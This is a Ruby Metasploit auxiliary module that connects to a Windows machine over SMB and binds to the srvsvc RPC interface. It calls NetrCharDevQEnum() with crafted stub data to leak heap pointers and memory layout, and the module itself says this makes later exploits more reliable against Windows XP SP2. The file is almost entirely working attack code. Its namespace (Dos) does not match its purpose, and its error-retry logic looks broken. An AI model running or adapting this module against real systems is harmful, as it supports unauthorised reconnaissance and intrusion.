require 'msf/core' module Msf class Auxiliary::Dos::Windows::Smb::Srvsvc_NetrCharDevQEnum_heap < Msf::Auxiliary include Auxiliary::Dos include Exploit::Remote::DCERPC include Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft NetrCharDevQEnum() Memory Pointer Disclosure', 'Description' => %q{ This module utilises the NetrCharDevQEnum() method to retrieve information on the memory status and heap pointers of the target machine. This method is available on the interface defined by 4b324fc8-1670-01d3-1278-5a47bf6ee188, v3.0. Confirmed against: Windows XP SP2 Doesn't work (0x00200000) against: Windows XP SP2 64bit Windows XP SP3 Windows Server 2003 Windows Vista It is known to be exposed through RPC over the Server Service (srvsvc). This could be used to create a context based payload key, establish the patch level/language pack or to gain an insight into remote memory layout to increase exploit reliability. }, 'Author' => [ 'Rhys Kidd < rhyskidd @ gmail.com >' ], 'License' => 'PRIVATE AND CONFIDENTIAL (C) 2007', 'Version' => '$Revision: 1 $', 'References' => [ ], 'DisclosureDate' => 'Nov 29 2006' )) end def run connect smb_login handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle}\r\n") # # /* Function: 0x03 */ # IDL long NetrCharDevQEnum( # IDL [in] [string] [unique] wchar_t *ServerName, # IDL [in] [string] [unique] wchar_t *UserName, # IDL [in] [out] [ref] CHARDEVQ_ENUM_STRUCT *devs, # IDL [in] long PreferredMaximumLength, # IDL [out] long num_entries, # IDL [in] [out] [unique] long *ResumeHandle # IDL ); # randnum = rand(0xf0)+1 stubdata = NDR.uwstring( Rex::Text.rand_text(20) ) + NDR.uwstring( Rex::Text.rand_text(20) ) + NDR.long(1) + NDR.wstring_prebuilt( Rex::Text.rand_text(2) ) + NDR.long(randnum) + # This the value we return a pointer too. NDR.long(rand(0xf0)+1) + NDR.long(rand(0xf0)+1) print_status("Calling the vulnerable function NetrCharDevQEnum(), value=#{randnum} ...") begin dcerpc.call(0x03, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e elsif print_error(e) redo end end if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) print_status( "Response received from remote target: \r\n" ) complete_response = Rex::Text.to_hex(dcerpc.last_response.stub_data, '') for i in 1..7 complete_response.insert(i*8+(i-1), ' ') end print_status( complete_response + "\r\n" ) else print_error( "Unexpected response!" ) end disconnect end end end